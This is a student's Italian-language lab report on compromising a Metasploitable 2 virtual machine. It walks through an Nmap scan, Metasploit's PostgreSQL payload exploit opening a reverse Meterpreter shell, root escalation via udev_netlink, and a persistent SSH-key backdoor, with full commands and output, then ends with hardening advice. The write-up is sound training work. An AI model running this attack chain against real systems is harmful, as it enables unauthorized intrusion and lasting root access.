



REPORT TECNICO

EXPLOIT POSTGRESQL CON METASPLOIT

Redatto da: Nicolò Calì Cybersecurity Student

Data: 21/01/2026

1. Introduzione

Il presente report documenta l'attività di analisi di sicurezza e sfruttamento delle vulnerabilità condotta sul servizio di database **PostgreSQL** della macchina target Metasploitable 2. L'obiettivo principale dell'esercitazione è simulare un attacco informatico completo in un ambiente controllato, partendo dall'accesso iniziale fino all'escalation dei privilegi.

Le fasi operative illustrate nel documento comprendono:

- **Analisi:** Identificazione del servizio **PostgreSQL** attivo tramite scansione.
- **Exploitation:** Sfruttamento di una vulnerabilità nota nel servizio per ottenere un accesso non autorizzato e stabilire una sessione **Meterpreter**.
- **Post-Exploitation:** Esecuzione di tecniche di *Privilege Escalation* per elevare i privilegi dall'utente di servizio limitato fino ai diritti amministrativi (root).

ATTENZIONE: *l'attività viene svolta all'interno di un ambiente controllato unicamente a scopo didattico, non sono stati eseguiti exploit nei confronti di dispositivi all'esterno di tale ambiente.*

2. Ambiente di Lavoro e Strumenti

L'attività è stata svolta all'interno di un laboratorio virtuale isolato, configurato su una **rete interna** gestita tramite **pfSense**, per garantire la sicurezza e prevenire interazioni con reti esterne.

Configurazione del Laboratorio

L'infrastruttura di test è composta dalle seguenti macchine virtuali:

- **Macchina Attaccante:** Kali Linux IP: 192.168.50.100
- **Macchina Target:** Metasploitable 2 IP: 192.168.50.101

Strumenti Utilizzati

- **Nmap:** Utilizzato nella fase preliminare per la scansione delle porte e l'identificazione dei servizi attivi sulla macchina target.
- **Metasploit Framework (msfconsole):** Strumento principale utilizzato per la ricerca del modulo **exploit/linux/postgres/postgres_payload**, l'esecuzione dell'attacco e la gestione della sessione Meterpreter per l'escalation dei privilegi.

3. Attività Tecnica e Metodologia

Fase di Ricognizione

Per mezzo del tool **Nmap** eseguiamo una scansione completa alle porte ed ai servizi utilizzati dalla macchina Target mediante il seguente comando:

```
sudo nmap -sV 192.168.50.101
```

```
(kali㉿kali)-[~]
$ sudo nmap -sV 192.168.50.101
[sudo] password for kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-21 07:59 -0500
Nmap scan report for 192.168.50.101
Host is up (0.000043s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:09:C9:B0 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.05 seconds
```

Fig1. Scansione Preliminare con Nmap

Da questa scansione preliminare si evincono molte **vulnerabilità**, quella che interessa a noi è la seguente:

- **Porta:** 5432/tcp
- **Stato:** open
- **Servizio:** PostgreSQL

Fase di Exploitation

In questa fase abbiamo utilizzato Metasploit per sfruttare una vulnerabilità nota nel servizio PostgreSQL della macchina target.

Dopo aver avviato `msfconsole`, abbiamo cercato un exploit adatto tramite il comando `search exploit/linux/postgres`. Tra i risultati, abbiamo selezionato il modulo `exploit/linux/postgres/postgres_payload`, progettato per eseguire un payload su sistemi Linux tramite il servizio PostgreSQL.

```
msf > search exploit/linux/postgres

Matching Modules
=====
#   Name
eck   Description
-   --
0   exploit/linux/postgres/postgres_payload    2007-06-05      excellent  Yes
;   PostgreSQL for Linux Payload Execution
1   \_ target: Linux x86
.
2   \_ target: Linux x86_64
.

Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET
'Linux x86_64'
```

Fig2. Ricerca modulo con comando "search"

Una volta caricato il modulo, ci è bastato lanciare il comando `show options` per andare a visualizzare i parametri necessari a far funzionare l'exploit.

I parametri che abbiamo configurato sono i seguenti:

- **RHOSTS:** Impostato sull'indirizzo IP della macchina target (**192.168.50.101**).
- **LHOST:** Impostato sull'indirizzo IP della macchina attaccante (**192.168.50.100**)

```

msf > use 0
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):
  Name      Current Setting  Required  Description
  --          --           --           --
  VERBOSE    false          no          Enable verbose output

  Used when connecting via an existing SESSION:
  Name      Current Setting  Required  Description
  --          --           --           --
  SESSION               no          The session to run this module on

  Used when making a new connection via RHOSTS:
  Name      Current Setting  Required  Description
  --          --           --           --
  DATABASE   postgres        no          The database to authenticate against
  PASSWORD   postgres        no          The password for the specified user name. Leave blank for a random password.
  RHOSTS                no          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      5432           no          The target port (TCP)
  USERNAME   postgres        no          The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --          --           --           --
  LHOST                 yes         The listen address (an interface may be specified)
  LPORT      4444           yes         The listen port

Exploit target:
  Id  Name
  --  --
  0   Linux x86

```

Fig3. Settaggio modulo postgres_payload

Lanciamo il modulo digitando **run**.

L'exploit ha avuto successo aprendo una sessione **Meterpreter**.

Per verificare l'accesso, abbiamo eseguito i seguenti comandi all'interno della sessione:

1. **sysinfo**: Ha confermato che il sistema operativo è **Ubuntu 8.04**.
2. **getuid**: Ha rivelato che la sessione è attiva con i privilegi dell'utente di servizio **postgres**. Questo conferma l'accesso al sistema, ma evidenzia la necessità di una successiva fase di **Privilege Escalation** per ottenere i diritti di amministratore (root).

```

msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:5432 - 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-l
inu-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.101:5432 - Uploaded as /tmp/qKyTZOAB.so, should be cleaned up
automatically
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:54838
) at 2026-01-21 08:39:54 -0500

meterpreter > sysinfo
Computer : metasploitable.localdomain
OS       : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: postgres
meterpreter >

```

Fig4. Exploitation e permessi postgres

Analizzando con attenzione l'output del comando **sysinfo** visibile in figura, abbiamo notato un dettaglio fondamentale: il sistema utilizza il **Kernel Linux versione 2.6.24**.

Si tratta di una versione molto vecchia e questo ci ha suggerito di cercare manualmente dei difetti di sicurezza storici legati a quell'epoca.

Anche se gli strumenti automatici non l'avevano rilevata, la nostra ricerca ha confermato che questa versione specifica è affetta dalla famosa vulnerabilità **udev Netlink (CVE-2009-1185)**. Abbiamo quindi deciso di utilizzare questo exploit specifico perché, data l'anzianità del sistema, rappresentava la strada più sicura per ottenere i privilegi di amministratore.

#	Name	Potentially Vulnerable?
-		
1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc	Yes
2	exploit/linux/local/glibc_origin_expansion_priv_esc	Yes
3	exploit/linux/local/netfilter_priv_esc_ipv4	Yes
4	exploit/linux/local/ptrace_sudo_token_priv_esc	Yes
5	exploit/linux/local/su_login	Yes
6	exploit/linux/persistence/autostart	Yes
call.		
7	exploit/multi/persistence/cron	Yes
8	exploit/unix/local/setuid_nmap	Yes

Fig5. Vulnerabilità riscontrate tramite tool automatico (modulo post/multi/recon/local_exploit_suggester)

Fase di Post-Exploitation

Dopo aver stabilito l'accesso iniziale come utente limitato postgres, l'obiettivo si è spostato sull'ottenimento dei privilegi amministrativi (**Privilege Escalation**).

Per elevare i privilegi, abbiamo utilizzato **exploit/linux/local/udev_netlink**. Questo exploit sfrutta una vulnerabilità nel servizio *udev* di Linux che non gestisce correttamente i messaggi Netlink, permettendo l'esecuzione di codice arbitrario come root.

- **Modulo:** exploit/linux/local/udev_netlink
- **Target Session:** set SESSION 1 (Sessione Meterpreter limitata ottenuta precedentemente).
- **Local Host:** set LHOST 192.168.50.100

Lanciando l'attacco, il sistema ha identificato il PID del processo Netlink vulnerabile e ha iniettato il payload. L'operazione ha avuto successo aprendo una nuova sessione **Meterpreter (Session 2)**. La verifica tramite il comando getuid ha confermato l'ottenimento dei privilegi massimi:

- **Output:** Server username: root.

```
msf exploit(linux/local/udev_netlink) > set session 1
session => 1
msf exploit(linux/local/udev_netlink) > set lhost 192.168.50.100

lhost => 192.168.50.100
msf exploit(linux/local/udev_netlink) >
msf exploit(linux/local/udev_netlink) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2345
[+] Found netlink pid: 2344
[*] Writing payload executable (207 bytes) to /tmp/REuFvohLXS
[*] Writing exploit executable (1879 bytes) to /tmp/UJRKxRhQAl
[*] chmod'ing and running it ...
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4444 -> 192.168.50.101:47206) at 2026-01-21 13:02:08 -0500

meterpreter > getuid
Server username: root
```

Fig6. Privilege Escalation mediante udev_netlink

Fase di creazione Backdoor

Una volta ottenuti i diritti di amministratore, abbiamo implementato una backdoor per garantire l'accesso al sistema anche in caso di chiusura della vulnerabilità originale. Abbiamo scelto di utilizzare una tecnica di **SSH Key Persistence**, che consiste nell'aggiungere una chiave pubblica dell'attaccante all'elenco delle chiavi autorizzate della vittima.

- **Modulo:** post/linux/manage/sshkey_persistence
- **Target Session:** set SESSION 2 (La sessione con privilegi di root).
- **Opzioni:** CREATESSHFOLDER impostato per creare la cartella .ssh se mancante.

L'esecuzione del modulo ha generato una nuova coppia di chiavi SSH:

1. La **chiave privata** è stata salvata sulla macchina attaccante (nella directory "loot" di Metasploit).
2. La **chiave pubblica** è stata aggiunta al file /root/.ssh/authorized_keys sulla macchina vittima.

```
msf post(linux/manage/sshkey_persistence) > options
Module options (post/linux/manage/sshkey_persistence):
  Name          Current Setting     Required  Description
  _____
  CREATESSHFOLDER  false           yes        If no .ssh folder is found, create it for a user
  PUBKEY          no              no        Public Key File to use. (Default: Create a new one)
  SESSION          yes           yes        The session to run this module on
  SSHD_CONFIG      /etc/ssh/sshd_config yes        sshd_config file
  USERNAME          no            no        User to add SSH key to (Default: all users on box)

View the full module info with the info, or info -d command.

msf post(linux/manage/sshkey_persistence) > set session 2
session => 2
msf post(linux/manage/sshkey_persistence) > run
[*] Checking SSH Permissions
[*] Authorized Keys File: .ssh/authorized_keys
[*] Finding ssh directories
[*] Storing new private key as /home/kali/.msf4/loot/20260121130439 default 192.168.50.101 id rsa 968438.txt
[*] Adding key to /home/msfadmin/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/user/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /root/.ssh/authorized_keys
[*] Key Added
[*] Post module execution completed
msf post(linux/manage/sshkey_persistence) >
```



Fig7. Ottenimento chiave ssh privata

Per verificare l'efficacia della **backdoor**, abbiamo simulato un accesso legittimo tramite SSH utilizzando la chiave privata appena "rubata".

Procedura di connessione:

- Abbiamo impostato i permessi corretti sulla chiave privata per renderla utilizzabile:
chmod 600 /home/kali/.msf4/loot/[nome_file]
- Abbiamo lanciato la connessione SSH forzando l'uso di algoritmi compatibili con il vecchio server (RSA):
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i [percorso_chiave]
root@192.168.50.101

```
(kali㉿kali)-[~]
$ chmod 600 /home/kali/.msf4/loot/20260121130439_default_192.168.50.101_id_rsa_968438.txt

(kali㉿kali)-[~]
$ ssh ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i /home/kali/.msf4/loot/20260121130439_default_192.168.50.101_id_rsa_968438.txt root@192.168.50.101
ssh: Could not resolve hostname ssh: Name or service not known

(kali㉿kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i /home/kali/.msf4/loot/20260121130439_default_192.168.50.101_id_rsa_968438.txt root@192.168.50.101
The authenticity of host '192.168.50.101 (192.168.50.101)' can't be established.
RSA key fingerprint is: SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsups+E9d/rrJB84rk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.101' (RSA) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Wed Jan 21 07:38:24 2026 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~# whoami
root
root@metasploitable:~#
```

Fig8. Connessione con ssh

Il login è avvenuto con successo senza richiesta di password. Il comando **whoami** lanciato nella shell remota ha restituito **root**, confermando che ora disponiamo di un accesso amministrativo stabile e permanente al sistema.

5. Conclusioni

Riepilogo

In questo test abbiamo compromesso totalmente la macchina target sfruttando due vulnerabilità principali:

- **Ingresso:** Siamo entrati nel database **PostgreSQL** perché mal configurato, ottenendo un accesso limitato.
- **Controllo Totale (Root):** Abbiamo sfruttato un difetto nel kernel Linux (exploit **udev**) per diventare amministratori.
- **Persistenza:** Infine, abbiamo inserito la nostra chiave SSH tra quelle autorizzate, garantendoci l'accesso futuro senza bisogno di password.

Raccomandazioni

Per mettere in sicurezza il sistema è necessario:

- **Aggiornare tutto:** Il sistema operativo è troppo vecchio; serve installare le patch di sicurezza.
- **Blindare il Database:** Mettere password complesse e bloccare le connessioni esterne non necessarie.
- **Proteggere SSH:** Vietare l'accesso diretto come root e controllare periodicamente le chiavi autorizzate.